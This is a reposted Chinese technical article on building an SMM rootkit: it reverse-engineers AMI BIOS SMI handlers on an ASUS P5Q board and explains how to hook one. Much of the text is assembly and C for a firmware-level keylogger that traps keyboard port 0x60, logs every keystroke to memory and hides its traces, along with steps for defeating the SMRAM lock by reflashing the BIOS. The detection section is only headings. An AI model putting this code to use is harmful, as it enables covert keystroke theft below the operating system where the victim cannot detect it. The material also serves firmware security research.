您的位置:首页 > 移动开发 > IOS开发

真实的SMM Rootkit——BIOS SMI句柄的逆向与钩挂_很好的一篇文章在黑客学习基地上看到的和大家分享

2013-08-23 16:27 1156 查看
摘自:黑防

文章作者:fahrenheit

1 引言

本文将探索一些BIOS中的SMI代码,所使用到的固件都来自于ASUS(华硕)的主板,尤其是基于Intel P45硬件的ASUS P5Q系列平台。ASUS的BIOS是基于AMIBIOS 8实现的,因此我们的工作可以延伸应用到所有使用了AMI BIOS固件的BIOS平台。而且SMM作为x86架构的特征之一,各种BIOS在SMI代码实现上的相似性,使得文章的研究结果在不同类型的BIOS上也具有较好的可移植性。

2 逆向系统管理中断(SMI)句柄

或许有人认为应该动用“硬件分析器”来参与我们的宏伟计划,其实这是一种误解。SMI处理程序是BIOS固件的一部分,和普通的BIOS代码一样,也可以类似的从中将其反汇编出来。Pinczakko的《BIOS Disassembly Ninjutsu Uncovered 》和《Guide to Award BIOS Reverse Engineering》二书,讲述了Award and AMI BIOS逆向方面的详细情况,有兴趣的读者可以到此参考。在这里,从BIOS中转储SMI处理函数,我们有两种方法可供选择。

1. 找一个漏洞,从保护模式进入SMRAM,并将SMRAM中的所有内容,尤其是TSEG,High SMRAM和0xA0000-0xBFFFF等区域转储出来。如果BIOS没有锁定D_LCK位,可以通过Duflot和BSDaemon介绍的修改SMRAMC PCI配置寄存器的方式转储。万一BIOS锁定了SMRAM,BIOS固件看上去也无懈可击,那就只有修改BIOS,令其不会设置D_LCK位这一条路了。将修改的程序重刷回BIOS的ROM,这样在启动时,SMRAM就不会被锁定了。不过这样做首先要确定BIOS不需要数字签名(digitally
signed),而且目前几乎没有主板会使用带数字签名的非EFIBIOS固件。

我想在这里有必要提一下BIOS设置D_LCK位的方法。通常情况下,BIOS都倾向于使用0xCF8/0xCFC端口,通过合法的I/O访问,设置相关的PCI配置寄存器。BIOS首先将0x8000009C写入到0xCF8的地址端口,然后再将0x1A的数值写入到0xCFC的数据端口,设置SMRAMC寄存器就可以锁定SMRAM了。

2. 还有另外一种方法,相对前者来说要简单一些,不需要访问运行时的SMRAM数据。

2.1 从BIOS开发商的网站下载最新的,或者使用闪存编程器件(Flash Programmer)从BIOS的ROM中提取固件的二进制代码。我们针对的ASUS P5Q主板就是要下载P5Q-ASUS-PRO-1613.ROM文件。

2.2 大多数的BIOS固件都包含了主BIOS模块,压缩的SMI处理句柄就位于其中,利用开发商提供的提取/解压工具打开BIOS主模块。由于ASUS BIOS是基于AMI BIOS的,我们使用AMIBIOS BIOS Module Manipulation Utility 和MMTool.exe从中抽取主模块。在MMTool中打开下载的.ROM文件,单击“Single Link Arch BIOS”抽取模块(ID=1Bh),然后检查“In uncompressed form”的选项,最后保存,就得到了包含SMI处理句柄的主BIOS模块。

2.3 主BIOS模块抽取完成,就可以用HIEW或IDA Pro等工具开始我们的SMI反汇编之旅了。

反汇编SMI句柄

我们注意到在ASUS/AMI BIOS中使用的是一个结构体数组来描述SMI的处理函数。数组中的每一个入口项都有“$SMIxx”的签名,其中“xx”字符指明了具体的SMI处理函数。图1显示的是基于P45芯片组ASUS P5Q SE主板的AMIBIOS 8所使用的SMI分配表(SMI dispatch table)数据。

反汇编SMI分配函数

BIOS中有一个特殊的SMI分配函数,我们将其命名为“dispatch_smi”,将遍历分配表中的所有入口,并调用handle_smi_ptr指向的处理函数。如果没有任何处理函数能够响应当前的SMI中断信号,它将调用最后的$DEF例程。下面的代码就是我们从ASUS P5Q主板反汇编得到的Handle_SMI BIOS函数。

钩挂SMI处理函数

基于上述的讨论,钩挂SMI处理函数的方法也有很多,可以添加一个新的SMI处理句柄,也可以给已有的句柄打个补丁,加上新的功能。两种方法在本质上并没有多大区别,所以两种情况我们都将做必要的介绍。

1.在SMI分配表中添加我们自己的SMI处理函数。

要加入新的函数,必须先在分配表中建立一个新的入口表项,我们将其取名为“$SMIaa”,如图3所示。

该入口包含了指向默认SMI处理句柄的指针,待会儿我们将修改这个默认的处理函数。或者我们也可以在SMRAM中找一块空闲区域,放上一段shellcode,将指向默认句柄的指针替换为指向shellcode。最后还要注意,当有新的处理函数加入到分配表中之后,保存在SMRAM数据段中的SMI代码计数值也要相应的加1,保持SMI处理函数数目的一致性。

2. 给已有的SMI处理句柄打补丁。

虽然现有的BIOS都是基于同样的AMIBIOS 8的核心,但不同制造商根据主板、芯片组型号,甚至移动版和服务器版硬件的不同,其内部SMI处理函数的数目也不尽相同。SMI处理函数主要是用于硬件的管理功能,不同系统对BIOS中的SMI处理有着不同的功能需求。然而有趣的是,我们发现了一些在任何基于AMIBIOS 8的BIOS中都存在的SMI处理函数,例如分配表中的$SMICA, $SMISS, $SMISI, $SMIX5, $SMIBP, $SMIED, $SMIFS和$SMIBS等,尤其是默认的$DEF也名列其中。

首选的方法就是在基于AMIBIOS 8的BIOS中替换掉一个SMI处理函数,例如$SMISS。ASUS P5Q主板,$SMISS处理函数的偏移位于BIOS系统代码000490D3的地方,下面是其反汇编的代码片段:

handle_smi_ss:

000490D3: 0E push cs

000490D4: E8D8FF call 0000490AF --- (1)

000490D7: B80100 mov ax,00001 ;" "

000490DA: 0F82F400 jb 0000491D2 --- (2)

000490DE: B81034 mov ax,03410 ;"4 "



000491CA: 9AFB00C8A8 call 0A8C8:000FB ---X

000491CF: B80000 mov ax,00000

000491D2: CB retf

花了一定时间做逆向分析之后,我们发现这段代码其实是在处理系统的休眠状态(Sleep State)请求。如果执意要钩挂和替换该SMI函数的话,可能会影响到系统的重要功能,留下不稳定的安全隐患。系统在没有合适的SMI处理函数时,将执行默认的$DEF。如果我们准备注入的代码是当前BIOS所不支持的功能,这个默认的处理函数还是可以考虑的。

默认的函数只执行最基本的操作,并且占用的空间有限,严格说来并非我们理想的钩挂目标。最好是要找一个占用空间较多,在所有BIOS中又不执行什么具有重大意义功能的SMI处理函数。这看起来不太可能,但实际上确实有那么一个。先来看看$SMIED,它处理的是由写入数据0xDE到APMC端口0xB2而产生的SMI中断。

_outpd( 0xb2, 0xDE );

看起来它确实没做什么有意义的事情,但是在我们检查过的每个BIOS中都有其身影的存在。至于作用我们还不是很清楚,猜测应该是作调试的干活。首先我们要在BIOS的二进制代码中找到$SMIED处理函数的位置。定位操作十分简单,只要找到主例程在SMI分配表中的入口项,通过SMI_HANDLER结构的handle_smi_ptr指针就可以了。

现在我们已经得到了上述的$SMISS函数的位置,在系统BIOS代码0x000490D3偏移的地方。分配表中$SMISS入口项的最后4个字节为“B5 85 C8 A8”,即handle_smi_ptr = 0xA8C885B5,是$SMISS处理函数的线性地址。$SMIED入口项的最后4个字节为“F2 A7 C8 A8”,所以handle_smi_ptr = 0xA8C8A7F2。同样是线性地址,前后两个地址间的差值为0x223D,将其加到$SMISS的偏移上,我们最终得到了$SMIED的函数偏移。

0x000490D3 + 0x223D = 0x0004B310

其他函数的偏移也可以采用类似方法求得,下面是$SMIED函数的反汇编代码片段:

0004B2FD: 50 push ax

0004B2FE: E8CCFD call 00004B0CD --- > (1)

0004B301: 720A jb 00004B30D --- > (2)

0004B303: 3CDE cmp al,0DE

0004B305: 7506 jne 00004B30D --- > (3)

0004B307: E8E0FD call 00004B0EA --- > (4)

0004B30A: F8 clc

0004B30B: 58 pop ax

0004B30C: CB retf

0004B30D: F9 stc

0004B30E: 58 pop ax

0004B30F: CB retf

handle_smi_ed:

0004B310: 0E push cs

0004B311: E8E9FF call 00004B2FD --- > (5)

0004B314: B80100 mov ax,00001 ;" "

0004B317: 7245 jb 00004B35E --- > (6)

0004B319: 6660 pushad

0004B31B: 1E push ds

0004B31C: 06 push es

0004B31D: 680070 push 07000 ;"p "

0004B320: 1F pop ds

0004B321: 33FF xor di,di

0004B323: 6828B4 push 0B428 ;"_("

0004B326: 07 pop es

0004B327: 33F6 xor si,si

0004B329: 268B04 mov ax,es:[si]

0004B32C: 8905 mov [di],ax

0004B32E: 268B04 mov ax,es:[si]

0004B331: 3D2444 cmp ax,04424 ;"D$"

0004B334: 750C jne 00004B342 --- > (7)

0004B336: BB0200 mov bx,00002 ;" "

0004B339: 268B4402 mov ax,es:[si][02]

0004B33D: 3D4546 cmp ax,04645 ;"FE"

0004B340: 7408 je 00004B34A --- > (8)

0004B342: 83C602 add si,002 ;" "

0004B345: 83C702 add di,002 ;" "

0004B348: EBDF jmps 00004B329 --- > (9)

0004B34A: 268B00 mov ax,es:[bx][si]

0004B34D: 8901 mov [bx][di],ax

0004B34F: 83C302 add bx,002 ;" "

0004B352: 83FB0A cmp bx,00A ;" "

0004B355: 75F3 jne 00004B34A --- > (A)

0004B357: 07 pop es

0004B358: 1F pop ds

0004B359: 6661 popad

0004B35B: B80000 mov ax,00000

0004B35E: CB retf

上述这个“调试”处理函数只做了一件事情,就是将SMI分配表从0x0B428:[si]拷贝到0x07000:[di]的位置,看来我们可以放心大胆的用自己的SMI代码钩挂它了。随后,我们将实现一个键盘记录程序,将其注入到这个处理函数内部。不过在我们开始新的章节之前,还是有必要先来回顾一下可以用于在用户击键时,调用记录程序的相关技术。

1. 使用I/O APIC将键盘的硬件中断(IRQ #01)导向SMI。Shawn Embleton和Sherri Sparks采用的就是I/O高级可编程中断控制器,将键盘的IRQ #01号中断导向SMI,并在SMI处理程序中捕获击键事件。

2. 采用键盘控制器数据端口访问时的I/O陷阱机制。

我们在本文中使用了不同于前者的I/O陷阱技术,该项技术最初是BIOS模拟PS/2键盘的用途,在下一章节中我们将详细的解释其工作原理。

3 SMM键盘记录程序

3.1 硬件I/O陷阱机制

实现一个内核级的键盘记录程序,方法之一是钩挂中断描述符表(IDT)中的调试陷阱#DB处理函数,并设置调试寄存器DR0-DR3,用数据端口0x60捕获系统的击键事件。类似的,我们也可以采用通过键盘I/O端口60/64陷入SMI的方法。我们参考了AMI BIOS的设计白皮书《USB Support for AMIBIOS8》,里面有这样的一段叙述。

“2.5.4 60/64端口模拟(emulation)

该选项可以开启或者关闭60h/64h端口的陷阱功能。60h/64h端口陷阱允许BIOS为USB键盘和鼠标提供基于PS/2的完全支持,在Microsoft Windows NT操作系统和支持多语言键盘上尤为有用。该选项还为USB键盘提供了诸如键盘锁定,密码设置和扫描码选择等各项PS/2键盘的功能。”

该机制由硬件系统来完成,所以我们还要查看一下具体的硬件配置情况。好在Intel和AMD的CPU中都有I/O陷阱的相关机制。AMD开发手册《BIOS and Kernel's Developer's Guide for AMD Athlon 64 and AMD Opteron Processors》中的“SMM I/O Trap and I/O Restart”一节,和Intel手册《Intel IA-32 Architecture Software Developer's Manual》中的“I/O
State Implementation and I/O INSTRUCTION RESTART”一节对该机制都有详细的介绍。

I/O陷阱机制允许陷入SMI后,在SMI处理程序内部使用IN和OUT指令来访问系统的任意I/O端口。之所以设计该机制的目的是为了在断电时,通过I/O端口来开启(power on)某些设备。除此之外,I/O陷阱当然也可以用于在SMI句柄中模拟60h/64h的键盘端口。在某种程度上说,它和上述的调试陷阱机制有些类似,用陷阱捕获对I/O端口的访问,但是并非调用OS内核的调试陷阱处理句柄,而是产生一个SMI中断,让CPU进入SMM模式,执行I/O陷阱的SMI处理函数。

当处理器陷入I/O指令,进入SMM模式时,它会将I/O指令陷入时的所有信息保存在SMM存储状态映射区(Saved State Map)的I/O状态域(I/O State Field)中,位于SMBASE+0x8000+0x7FA4的位置。图4是该区域的数据分布情况,待会儿我们的记录程序将会用到。

-设置了IO_SMI (bit 0),表示当前是一个I/O陷阱SMI。

- I/O 长度标志(bits [1:3])表示 I/O访问是byte(001b)、word(010b)或dword(100b)三者之一。

- I/O Type标志(bits [4:7])表示I/O指令的类型,IN imm(1001b),IN DX(0001b)等。

- I/O 端口(bits [16:31]),包含了当前访问的I/O端口号。

如果当前是通过IN DX指令,字节宽度来访问0x60端口, IO_SMI置位,SMM keylogger首先需要检测和更新SMM存储状态映射区中的EAX域,然后还要检测0x7FA4处的I/O状态域的值是否为0x00600013。

mov esi, SMBASE

mov ecx, dword ptr fs:[esi + 0xFFA4]

cmp ecx, 0x00600013

jnz _not_io_smi

上述是检测的简化形式,SMM keylogger还需要检测I/O状态域中I/OType和I/O Length等其他标志。因为我们是记录键盘的目的,所以只关心I/O陷阱,并不用理会I/O重启(I/O Restart)的相关设置。I/O重启和I/O陷阱构成了完整的SMI I/O处理方式,当SMM中的SMI执行完毕时,I/O重启允许IN或OUT指令从SMI中断处恢复并继续执行。

I/O陷阱机制允许我们在任意I/O端口的软硬件交互读写操作时陷入SMI的处理例程,现在关心的只是0x60数据端口,实现键盘击键时的I/O陷入的具体步骤如下:

1. 击键事件发生时,键盘控制器产生一个硬件中断,用I/O APIC将IRQ 1中断信号导向SMI的处理句柄。

2. 收到键盘中断之后,APIC调用IDT中的键盘中断处理程序,对PS/2键盘是0x93号中断向量。

3. 键盘中断处理程序通过端口0x60从键盘控制器的缓冲区中读取按键扫描码。正常情况下将清空扫描码,并将其显示在屏幕上。

4. 此时芯片组引起端口0x60的读取陷阱,产生信号通知I/O陷阱SMI。

5. 在SMM模式下,keylogger的SMI处理句柄响应SMI中断,处理I/O陷阱SMI。

6. 退出SMM时,keylogger的SMI处理句柄将结果(当前扫描码)返回给0x60端口的读取指令,交由内核的中断句柄作进一步处理。

上述的第6步操作,将扫描码返回到OS的键盘中断处理程序,在I/O陷阱和I/O APIC下的实现是有区别的。如果使用了APIC来触发SMI,SMI keylogger必须再次向键盘控制器的缓冲区中填充扫描码,以待操作系统再次读取,做进一步处理。

I/O陷阱下则是采用另外的方法。OS键盘中断处理程序使用的“IN al, 0x60”指令会引起SMM keylogger的I/O陷入,由于该IN指令产生了无穷的SMI陷入循环,将永远无法从SMM中恢复到原来的状态继续执行。此时,SMI句柄只要将IN指令的读取结果保存到AL/AX/EAX寄存器,表现得就像IN指令从来没有陷入过一样。

IA32体系,EAX寄存器位于SMRAM存储状态区偏移为0x7FD0的位置,即 SMBASE +0x8000+0x7FD0,在IA64下为SMBASE + 0x8000+0x7F5C。因此当上述的IO_SMI置位时,SMM keylogger需要将从0x60端口读取的扫描码更新至EAX域,下面就是更新EAX域的代码片段:

; 1.验证读取0x60端口时设置的IO_SMI位

; 2.更新SMM存储状态区的EAX域(SMBASE + 0x8000 + 0x7FD0)

mov esi, SMBASE

mov ecx, dword ptr fs:[esi + 0xFFA4]

cmp ecx, 0x00600013

jnz _not_io_smi

mov byte ptr fs:[esi + 0xFFD0], al

_not_io_smi:

; skip this SMI#

不失完整性,我们下面给出的是基于IRQ1重定向SMI# APIC 的SMM keylogger将扫描码重新填充到键盘控制器缓冲区的代码本片段:

; 从键盘控制器缓冲区读取扫描码

in al, 0x60

push ax

; 将0xD2命令字节写入到0x64端口

; 准备用截取的扫描码填充控制器缓冲区,以待OS进一步处理

mov al, 0xd2

out 0x64, al

; 等待直到控制器做好读取准备

_wait:

in al, 0x64

test al, 0x2

jnz _wait

; 填充扫描码

pop ax

out 0x60, al

上述给出的是I/O陷阱机制的各项特征,下一节我们将介绍利用这些特征,SMM keylogger工作的具体细节。

3.2 用I/O陷阱捕获击键事件

为了开启可编程I/O陷阱机制,需要参考具体的芯片组配置说明。Intel I/O Controller Hub10(ICH10)中设置了4个寄存器,IOTR0 - IOTR3,定义了需要陷入的I/O周期,提供了兼容陷入式访问I/O端口的操作能力。

所有的IOTRn(I/O陷阱寄存器0-3,I/O Trap Register 0-3)和其他的一些专用寄存器都位于ICH的RCBA(Root Complex Base Address Register)寄存器空间内。(《Intel I/O Controller Hub 10 (ICH10) Family Datasheet》中10.1.46-49节有关于IOTR的详细描述,以供进一步参考。)

 IOTRn 0-3位于RCBA中0x1E80至0x1E9F的位置,1E80-1E87h IOTR 0,1E88-1E8Fh IOTR 1,1E90-1E97h IOTR 2,1E98-1E9Fh IOTR 3。

 TRST(陷阱状态寄存器,Trap Status Register)位于RCBA 偏移1E00h处,包含4个状态位,指示通过IOTRn访问陷入程序。

 TRCR(陷入周期寄存器,Trapped Cycle Register)位于RCBA 偏移1E10h处,保存了写入到陷入I/O端口中的数据。

而至于RCBA的值可以从ICH PCI配置寄存器Bus:Device:Function = 0:31:0,偏移为0xF0的地方读取,下面是读取的代码片段:

// 读取RCBA

// LPC device in ICH, B:D:F = 0:31:0

lpc_rcba_addr = pci_addr( 0, 31, 0, LPC_RCBA_REG );

_outpd( 0xcf8, lpc_rcba_addr );

rcba_reg = _inpd( 0xcfc);

pa.LowPart = rcba_reg & 0xffffc000;

rcba = MmMapIoSpace( pa, 0x2000, MmCached );

每一个IOTRn寄存器都包含了下面的一些标志位:

 Bit 0,TRSE标志(陷入和SMI#使能,Trap and SMI# Enable),0 =陷入且SMI#逻辑关闭,1 =陷入逻辑开启。

 Bits 15:2,IOAD(I/O 地址,I/O Address),以双字(dword)对齐的I/O地址。

 Bits 35:32,TBE标志(字节使能,Byte Enables),字节数据以双字方式对齐。

 Bit 48,RWIO标志(读/写,Read/Write#),0 = 写入,1 = 读取。

为了开启键盘控制器0x60数据端口的读取陷阱,需要对一个IOTR做如下的编程操作,例如IOTR 0,要用到下面所示的代码片段(完整的代码请参考本文的附件):

 IOTR 0 DWORD的低半部分设置为0x00000061(IOAD = 0x60,TRSE = 1)。

 IOTR 0 DWORD的高半部分设置为0x000100f0(TBE = 0xf,RWIO = 1)。

// 为开启0x60端口读取陷阱设置IOTR 0

pIOTR0_LO = (DWORD *)(rcba + RCBA_IOTR0_LO);

pIOTR0_HI = (DWORD *)(rcba + RCBA_IOTR0_HI);

// trap on port read + all byte enables

*(DWORD*)pIOTR0_HI = 0x100f0;

// keyboard controller port 0x60 + 1 enable I/O Trap

*(DWORD*)pIOTR0_LO = 0x61;

在下几节介绍基于I/O陷阱SMI处理程序的实现细节之前,还有一个注意事项。SMI处理句柄需要在程序的起始部分关闭(禁用)I/O陷阱功能,在退出SMM之前又将其打开,看起来有点类似中断处理程序关、开中断的概念。

; I/O Trap Register 0 = RCBA + 1E80h

IO_TRAP_IOTR0_REG equ FED1DE80h

mov edx, IO_TRAP_IOTR0_REG

mov dword ptr [edx], 0

; handle I/O Trap SMI

mov edx, IO_TRAP_IOTR0_REG

mov eax, 0x61

mov dword ptr [edx], eax

上面的代码首先将0写入到FED1DE80h的MMIO地址,设置IOTR 0,关闭I/O陷阱。随后在处理完SMI中断,返回之前写入值0x61,重新开启0x60端口的陷阱功能。至此,离实现我们的SMM Keylogger只有一步之遥了,万事俱备,只欠东风。

3.3 SMM keylogger

虽然我们的keylogger和内核里的keylogger有某些程度上的相似,但要记住我们的是运行于SMM环境下,由BIOS设置的SMI代码,比后者具有高出很多的运行时隐蔽性。

我们的keylogger可以在PS/2键盘上正常工作,当用户有击键操作时,将直接查询键盘控制器的0x60数据端口,读取扫描码,再产生SMI中断,由对应的句柄来处理。下面就是我们用I/O陷阱机制实现的keylogger程序,读取扫描码,将其转储到内存中某个物理地址;然后还要使用同样的0x60端口将扫描码再填充回去,掩盖记录键盘的踪迹。(完整的代码放在本文的附件里)

pusha

; 验证IO_SMI是否来自于0x60端口的读取操作

mov esi, SMBASE

mov ecx, dword ptr [esi + 0xFFA4]

cmp ecx, 0x00600013

jnz _not_io_smi

;

; 从键盘控制器0x60端口读取扫描码

xor ax, ax

in al, 60h

;

; 转储扫描码至LOG_BUFFER_PHYS_ADDR指定的物理地址

; 该区域的首个dword 是已记录的扫描码计数值

mov edi, DST_BUF_PHYSADDR

mov ecx, dword ptr [edi]

push edi

lea edi, dword ptr [edi + ecx + 4]

mov byte ptr [edi], al

;

; 已保存扫描码,增加一个扫描码计数值

inc ecx

pop edi

mov dword ptr [edi], ecx

;

; 更新SMM存储状态映射区的 EAX域(SMBASE + 0x8000 + SMM_MAP_EAX)

; 将扫描码作为IN指令的结果返回

mov byte ptr [esi + 0xFFD0], al

_not_io_smi:

popa

3.4 基于I/O陷阱的SMI处理句柄

从前文的描述中,我们总结系统的I/O陷阱机制发挥作用要经过如下的4个步骤:

1. CPU对某些I/O端口进行读写操作。

2. 芯片组产生访问陷入,将端口号,位宽,读写操作类型等翻译为查询信息,并通过内核模式的程序向I/O陷阱机制相关的寄存器查询陷入情况。

3. 如果当前的I/O端口访问和可编程I/O陷阱寄存器中的信息相匹配,芯片组产生SMI中断,并发送给CPU。

4. CPU进入SMM模式,由指定的SMI中断处理程序来响应当前I/O陷阱的SMI请求。

SMM keylogger的原理就是利用I/O陷阱机制对芯片组编程,在读取键盘控制器的0x60数据端口时陷入产生SMI中断,由SMI处理句柄来记录键盘操作。后者开始执行后,将完成下面的6个动作。

1. 验证SMI是否来源于读取键盘控制器的I/O陷阱操作。

2. 访问地址0xFED1DE00,清除TRST MMIO寄存器中的I/O陷阱状态位。

3. 访问地址0xFED1DE80,暂时关闭IOTRn寄存器的I/O陷阱功能,以便从陷入的端口中读取键盘数据。

4. 访问地址0xFED1DE10,检测TRCR MMIO寄存器,查看陷入的是读或者写入操作。

5. 通过0x60端口,从键盘控制器缓冲区中读取扫描码,并保存到内存某处。

4. 用扫描码更新SMM存储状态区中的EAX域,当SMI句柄返回之后,扫描码可由内核的中断处理程序作进一步处理。

5. 用0x61设置IOTRn寄存器,重新开起0x60 端口的I/O陷阱功能,为记录下一次键盘事件做好准备。

6. 从SMI处理函数中返回。

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;; I/O Trap based SMI keystroke logger

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; I/O Trap registers in Root Complex Base Address (RCBA)

IO_TRAP_IOTR0_REG equ FED1DE80h

; I/O Trap Register 0 = RCBA + 1E80h

IO_TRAP_TRSR_REG equ FED1DE00h

; Trap Status Register = RCBA + 1E00h

IO_TRAP_TRCR_REG equ FED1DE10h

; Trapped Cycle Register = RCBA + 1E10h

KBRD_DATA_PORT equ 60h

DST_BUF_PHYSADDR equ 20000h

SEG_4G equ ?

; IO_SMI bit, I/O Port = 0x60

; I/O Type = IN DX

; I/O Length = 1

;

IOSMI_IN_60_BYTE equ 00600013h

;

; SMM Save State Map fields

SMM_MAP_IO_STATE_INFO equ FFA4h

SMM_MAP_EAX equ FFD0h

;

; 4GB的内存寻址范围

push ds

push SEG_4G

pop ds

;

; 清除I/O陷阱状态位

mov eax, IO_TRAP_TRSR_REG

mov dword ptr [eax], 1

;

; 检测TRCR是读取还是写入,我们之处理读操作

mov eax, IO_TRAP_TRCR_REG

mov ebx, dword ptr [eax]

bswap ebx

and bh, 0xf

and bl, 0x1

jz _smi_handled

;

;暂时关闭I/O陷阱

mov eax, IO_TRAP_IOTR0_REG

mov dword ptr [eax], 0

;;;;;;;;;;;

; 记录击键事件

pusha

;

; 验证IO_SMI是来源于0x60端口的读操作

mov esi, SMBASE

mov ecx, dword ptr [esi + SMM_MAP_IO_STATE_INFO]

cmp ecx, IOSMI_IN_60_BYTE

jnz _not_io_smi

;

; 从键盘控制器0x60端口读取扫描码

xor ax, ax

in al, KBRD_DATA_PORT

;

; 转储扫描码至LOG_BUFFER_PHYS_ADDR指定的物理地址

; 该区域的首个dword 是已记录的扫描码计数值

mov edi, DST_BUF_PHYSADDR

mov ecx, dword ptr [edi]

push edi

lea edi, dword ptr [edi + ecx + 4]

mov byte ptr [edi], al

;

; 已保存扫描码,增加一个扫描码计数值

inc ecx

pop edi

mov dword ptr [edi], ecx

;

; 更新SMM存储状态映射区的 EAX域(SMBASE + 0x8000 + SMM_MAP_EAX)

; 将扫描码作为IN指令的结果返回

mov byte ptr [esi + SMM_MAP_EAX], al

_not_io_smi:

popa

;

; 再次打开0x60端口的I/O陷阱功能

mov eax, IO_TRAP_IOTR0_REG

mov ebx, KBRD_DATA_PORT+1

mov dword ptr [eax], ebx

;

; SMI处理程序结束,返回0值

_smi_handled:

pop ds

mov eax, 0

retf

3.5 多处理器下的keylogger说明

我们的keylogger已经更新了系统SMRAM存储状态映射区中的EAX(RAX)寄存器,要是碰到了多处理器系统那又该怎么办呢?当多个逻辑处理器同时进入SMM模式时,它们在SMRAM中都要有自己的SMM存储状态映射区,这将由BIOS为每个处理器分配不同的SMRAM 基地址(SMBASE)来妥善解决,因此该项技术也被称为“SMBASE重定向”。

例如在双处理器系统中,两个逻辑处理器分别具有不同的SMBASE,SMBASE0和SMBASE0+0x300;第一个处理器的SMI处理句柄将从EIP = SMBASE0+0x8000处开始执行,而第二个则从EIP = SMBASE0+0x8000+0x300的地方开始;同理,它们各自的存储状态映射区也就分别位于(SMBASE0+0x8000+0x7F00)和(SMBASE0+0x8000+0x7F00+0x300)。

不只是0x300,BIOS也会为额外的处理器设置其他的SMBASE增量偏移。增量偏移虽然可变,但是其计算过程也不算复杂。在SMM存储状态映射区内部0x7EFC偏移处包含了一个SMM修正ID(Revision ID),对每个处理器来说都是同样的数值。例如SMM的修正ID可能为0x30100,在SMRAM中找到各处理器的修正ID,计算它们之间的差值也就得到了各SMBASE间的相对位移。

下面我们展示的是SMM keylogger在双处理器系统上的EAX更新代码。它将顺次检查I/O状态域是否和某个处理器的I/O陷阱匹配,确定的话则更新其SMM存储状态映射区中的EAX值。

; 在双处理器系统上更新EAX

mov esi, SMBASE

lea ecx, dword ptr [esi + SMM_MAP_IO_STATE_INFO]

cmp ecx, IOSMI_IN_60_BYTE

jne _skip_proc0:

mov byte ptr [esi + SMM_MAP_EAX], al

_skip_proc0:

lea ecx, dword ptr [esi + SMM_MAP_IO_STATE_INFO + 0x300]

cmp ecx, IOSMI_IN_60_BYTE

jne _skip_proc1:

mov byte ptr [esi + SMM_MAP_EAX + 0x300], al

_skip_proc1:



4 建议的检测方法

4.1 I/O陷阱机制检测

4.2 计时(timing)检测

5 结束语

本文描述了在BIOS中反汇编、修改以及实现一个SMI处理程序的全过程,我们希望能以这些细节的东西向大家展示SMM Rootkit的具体工作原理,其重要性以及一些检测的方法。读过本文,虽然BIOS有锁定SMRAM内存的功能,但仅仅依靠SMRAMC寄存器中的一个D_LCK位就决定这系统攸关的安全大事,可还真是让人捏把汗啊。

SMI处理程序随着BIOS的不同而变化,它也可能随着BIOS固件更新机制的变化而引入一些新的特性。某时某刻,当它迁移到(U)EFI平台时,将大大简化EFI硬件的开发过程,甚至为EFI下的SMM处理带来革命性的功能改善。我们始终相信,现阶段的安全威胁主要来源于SMI处理函数内部的软件代码缺陷,它和OS内核、设备驱动以及应用程序相交互,相对后者具有最高的执行权限。现在的事实又一次给我们敲响了警钟,BIOS制造商们真的到了不得不为它们产品中SMM代码安全水平做细致考虑的时候了。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: 
相关文章推荐